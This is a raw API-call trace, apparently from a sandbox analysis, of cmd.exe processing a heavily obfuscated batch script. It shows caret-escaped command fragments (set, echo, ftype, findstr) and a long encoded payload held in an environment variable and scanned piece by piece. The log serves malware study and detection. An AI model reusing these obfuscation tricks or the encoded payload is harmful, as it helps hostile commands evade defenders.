	[0056.989] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7
	[0056.989] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5
	[0056.989] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5
	[0056.989] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="DATE") returned -6
	[0056.989] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="TIME") returned -22
	[0056.989] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="RANDOM") returned -20
	[0056.989] _wcsicmp (_String1="^w^L^]^6^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.989] GetEnvironmentVariableW (in: lpName="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.989] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CD") returned -5
	[0056.989] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="ERRORLEVEL") returned -7
	[0056.989] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CMDEXTVERSION") returned -5
	[0056.989] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="CMDCMDLINE") returned -5
	[0056.989] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="DATE") returned -6
	[0056.989] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="TIME") returned -22
	[0056.989] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="RANDOM") returned -20
	[0056.989] _wcsicmp (_String1="^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.989] GetEnvironmentVariableW (in: lpName="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.990] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CD") returned -5
	[0056.990] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="ERRORLEVEL") returned -7
	[0056.990] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CMDEXTVERSION") returned -5
	[0056.990] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="CMDCMDLINE") returned -5
	[0056.990] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="DATE") returned -6
	[0056.990] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="TIME") returned -22
	[0056.990] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="RANDOM") returned -20
	[0056.990] _wcsicmp (_String1="^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.990] GetEnvironmentVariableW (in: lpName="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.990] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CD") returned 2
	[0056.990] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="ERRORLEVEL") returned -20
	[0056.990] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CMDEXTVERSION") returned 2
	[0056.990] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="CMDCMDLINE") returned 2
	[0056.990] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="DATE") returned 1
	[0056.990] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="TIME") returned -15
	[0056.990] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="RANDOM") returned -13
	[0056.990] _wcsicmp (_String1="e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^", _String2="HIGHESTNUMANODENUMBER") returned -3
	[0056.990] GetEnvironmentVariableW (in: lpName="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.990] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CD") returned -5
	[0056.990] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="ERRORLEVEL") returned -7
	[0056.991] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CMDEXTVERSION") returned -5
	[0056.991] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="CMDCMDLINE") returned -5
	[0056.991] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="DATE") returned -6
	[0056.991] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="TIME") returned -22
	[0056.991] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="RANDOM") returned -20
	[0056.991] _wcsicmp (_String1="^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&(  ; (  ;  ; ;   (^S^e^t ^\\^,^}_=^!^+^~^}^{^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.991] GetEnvironmentVariableW (in: lpName="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.992] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CD") returned -5
	[0056.992] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="ERRORLEVEL") returned -7
	[0056.992] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CMDEXTVERSION") returned -5
	[0056.992] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="CMDCMDLINE") returned -5
	[0056.992] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="DATE") returned -6
	[0056.992] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="TIME") returned -22
	[0056.992] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="RANDOM") returned -20
	[0056.992] _wcsicmp (_String1="^=^T!)&& (,   ;  ,  ;,  (  , ;  ,   (^S^e^T ^ ^ ^ ^}^\\=^!^[^$^#^?^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.992] GetEnvironmentVariableW (in: lpName="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.992] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CD") returned -5
	[0056.992] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="ERRORLEVEL") returned -7
	[0056.992] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CMDEXTVERSION") returned -5
	[0056.992] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="CMDCMDLINE") returned -5
	[0056.992] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="DATE") returned -6
	[0056.992] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="TIME") returned -22
	[0056.992] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="RANDOM") returned -20
	[0056.992] _wcsicmp (_String1="^!)  ,   )&&  ( , (^S^e^t ^ ^ ^*^}=^!^*^.^@^", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.992] GetEnvironmentVariableW (in: lpName="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.992] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="CD") returned -5
	[0056.992] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="ERRORLEVEL") returned -7
	[0056.992] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="CMDEXTVERSION") returned -5
	[0056.992] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="CMDCMDLINE") returned -5
	[0056.992] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="DATE") returned -6
	[0056.992] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="TIME") returned -22
	[0056.992] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="RANDOM") returned -20
	[0056.992] _wcsicmp (_String1="^g; ; ,  ^iN , ( ,'; ; ^^ft^^Y^^p^^e ;; ,  ^|,  ,  ^^f^^iN^^d^^S^^t^^r ;^^c^^m  '; ,)  , ;  ^d^o, ,   ;;  ;  (^e^c^h^O  ,", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.992] GetEnvironmentVariableW (in: lpName="^*^[^-^,", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.993] _wcsicmp (_String1="^*^[^-^,", _String2="CD") returned -5
	[0056.993] _wcsicmp (_String1="^*^[^-^,", _String2="ERRORLEVEL") returned -7
	[0056.993] _wcsicmp (_String1="^*^[^-^,", _String2="CMDEXTVERSION") returned -5
	[0056.993] _wcsicmp (_String1="^*^[^-^,", _String2="CMDCMDLINE") returned -5
	[0056.993] _wcsicmp (_String1="^*^[^-^,", _String2="DATE") returned -6
	[0056.993] _wcsicmp (_String1="^*^[^-^,", _String2="TIME") returned -22
	[0056.993] _wcsicmp (_String1="^*^[^-^,", _String2="RANDOM") returned -20
	[0056.993] _wcsicmp (_String1="^*^[^-^,", _String2="HIGHESTNUMANODENUMBER") returned -10
	[0056.993] GetEnvironmentVariableW (in: lpName="   |", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.993] _wcsicmp (_String1="   |", _String2="CD") returned -67
	[0056.993] _wcsicmp (_String1="   |", _String2="ERRORLEVEL") returned -69
	[0056.993] _wcsicmp (_String1="   |", _String2="CMDEXTVERSION") returned -67
	[0056.993] _wcsicmp (_String1="   |", _String2="CMDCMDLINE") returned -67
	[0056.993] _wcsicmp (_String1="   |", _String2="DATE") returned -68
	[0056.993] _wcsicmp (_String1="   |", _String2="TIME") returned -84
	[0056.993] _wcsicmp (_String1="   |", _String2="RANDOM") returned -82
	[0056.993] _wcsicmp (_String1="   |", _String2="HIGHESTNUMANODENUMBER") returned -72
	[0056.996] _wcsicmp (_String1="FOR", _String2="seT     +~}{") returned -13
	[0056.996] _wcsicmp (_String1="FOR/?", _String2="seT     +~}{") returned -13
	[0056.996] _wcsicmp (_String1="IF", _String2="seT     +~}{") returned -10
	[0056.996] _wcsicmp (_String1="IF/?", _String2="seT     +~}{") returned -10
	[0056.996] _wcsicmp (_String1="REM", _String2="seT     +~}{") returned -1
	[0056.996] _wcsicmp (_String1="REM/?", _String2="seT     +~}{") returned -1
	[0057.003] GetEnvironmentVariableW (in: lpName="+~}{", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="eo28PGC7y.Y.Yeo2vTd]F3pbf6K'.Y1.Y@eo2h8PZ7y8P3pTde37{jUnPjy+@eo2%zwLhwLTd3pe37{jUn#Pjy+2Xb2).Y112eo22+263p.YF3p2+2]2+2.YqF3pbfN2+28P4-Pj3QeACh8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8P.Y-7Keo22+2eo28Pm3QeAC3p`2+2qF3pbfN6m8P.YAC67jh`eo2GC7y8Pm'jU]62+242+2Zn.AC67[2+2F3pbfbfk7yuuQe37eo22+26KF3p].Yjh`eo2GC7y8P2+2m'2+2jU]64Zn2+2.'u2+2ZGC7ym6k7y11F3p].YqF3pbfN8PGC7y'a2+28P3QeAC7yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371AC62+272+2%zwLhGC7yGC7yk7yeo28 ,.,.Zm6.2+28Peo24ax'Zm.3QeACX2+27',X2+2m,.AC ,.F3pjUn,.2+2.6GC7y4axuQe7yeo2K_X'2+2k7yn.AC672+2))[2+2F3pbfbfk7yuuQe2+2mQe6KF3p].Yu`2+2GC7y2+28P{Pjy.Y2+24axjUnH [1 '2+2'H)3QeAC2+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQe7.YZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQe2+2GC7y2+2GC7y6KF3pbfbfk7yuuQe37eo2'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQe76xd2+2F3pbf2+2bfk7yuuQe_2+2)[F3pbfbfk7yuuQemQe2+2{F3pbfbfk7yuuQe2+2_:H4axiy+F3pbfbfk7yuuQe7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQeGC7yGC7y'u-3QeAC6n37jUn5):jUnbf)-3QeACX]2+21F3pbfbfk7yuuQeGC7y2+2GC7y'6wL.Y-3QeAC6n37.YjUn5))}2+2}[2+2e2+2wLXb12+2{jh`eo2GC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2.2+2Pjy8 8 7Kjh7yjU6ee'2+26wL8PGC7yjh2+2GC7y]Zn.1F3pbfbf2+2k7yuuQe2+2mQe{ '2+2'2+2jUn2+2AC (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL12AC6726xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyACiy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{eo2%Ren6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&.Yeo28P%.Y.Y6jUe/`6KwL,%zwLhPj.Y1.Z.YF3pbf6Re7K3QeAC3p8P8 8P:XbGC7y)'7y6TdvwL'enF3pbfPjQewL7yjU6XmuQe6njU'eqF3pbfN7yPjQe8Peo27yjU6RZGC7yy%11Tdjh.Y8PqF3pbfN7y8 eo23Td]7y)'F3pbf6Td38P.Y.Y).Y.Y^^^|GC7yyPj4wLReo2h8PZ7ywL3pTd.Y.Y-nXqF3pbfNZqF3pbfN%wL]67yjU6%e.Y.Y-qF3pbfNX3pPj.Y-4ZqF3pbfN.Y%zwLhe37378Pn.Y-8P78P,v%ePjqF3pbfNk7yPjTde,.Y3QeAC`GC7yy7Kjhjh.Y.Y-nPjGC7yy]PjzwLhe3p8P.Y.Y-7yjU6PjmuQe7KqF3pbfN37.Y.Y.Y.Y.Y^^^^^^^&1.Y@8PqF3pbfN7y8 7yjU6Xmeo2GC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXen22)1@Znk7yv%.Y).Y.Y^&^&.Y.Y,m37'8P7wL.Y.Y.Y,.,.Yo637Z/T.o") returned 0x800
	[0057.004] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4
	[0057.004] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14
	[0057.004] _wcsnicmp (_String1="28", _String2="AC", _MaxCount=0x2) returned -47
	[0057.004] _wcsnicmp (_String1="8P", _String2="AC", _MaxCount=0x2) returned -41
	[0057.004] _wcsnicmp (_String1="PG", _String2="AC", _MaxCount=0x2) returned 15
	[0057.004] _wcsnicmp (_String1="GC", _String2="AC", _MaxCount=0x2) returned 6
	[0057.004] _wcsnicmp (_String1="C7", _String2="AC", _MaxCount=0x2) returned 2
	[0057.004] _wcsnicmp (_String1="7y", _String2="AC", _MaxCount=0x2) returned -42
	[0057.004] _wcsnicmp (_String1="y.", _String2="AC", _MaxCount=0x2) returned 24
	[0057.004] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.004] _wcsnicmp (_String1="Y.", _String2="AC", _MaxCount=0x2) returned 24
	[0057.004] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.004] _wcsnicmp (_String1="Ye", _String2="AC", _MaxCount=0x2) returned 24
	[0057.004] _wcsnicmp (_String1="eo", _String2="AC", _MaxCount=0x2) returned 4
	[0057.004] _wcsnicmp (_String1="o2", _String2="AC", _MaxCount=0x2) returned 14
	[0057.005] _wcsnicmp (_String1="2v", _String2="AC", _MaxCount=0x2) returned -47
	[0057.005] _wcsnicmp (_String1="vT", _String2="AC", _MaxCount=0x2) returned 21
	[0057.005] _wcsnicmp (_String1="Td", _String2="AC", _MaxCount=0x2) returned 19
	[0057.005] _wcsnicmp (_String1="d]", _String2="AC", _MaxCount=0x2) returned 3
	[0057.005] _wcsnicmp (_String1="]F", _String2="AC", _MaxCount=0x2) returned -4
	[0057.005] _wcsnicmp (_String1="F3", _String2="AC", _MaxCount=0x2) returned 5
	[0057.005] _wcsnicmp (_String1="3p", _String2="AC", _MaxCount=0x2) returned -46
	[0057.005] _wcsnicmp (_String1="pb", _String2="AC", _MaxCount=0x2) returned 15
	[0057.005] _wcsnicmp (_String1="bf", _String2="AC", _MaxCount=0x2) returned 1
	[0057.005] _wcsnicmp (_String1="f6", _String2="AC", _MaxCount=0x2) returned 5
	[0057.005] _wcsnicmp (_String1="6K", _String2="AC", _MaxCount=0x2) returned -43
	[0057.005] _wcsnicmp (_String1="K'", _String2="AC", _MaxCount=0x2) returned 10
	[0057.005] _wcsnicmp (_String1="'.", _String2="AC", _MaxCount=0x2) returned -58
	[0057.005] _wcsnicmp (_String1=".Y", _String2="AC", _MaxCount=0x2) returned -51
	[0057.005] _wcsnicmp (_String1="Y1", _String2="AC", _MaxCount=0x2) returned 24
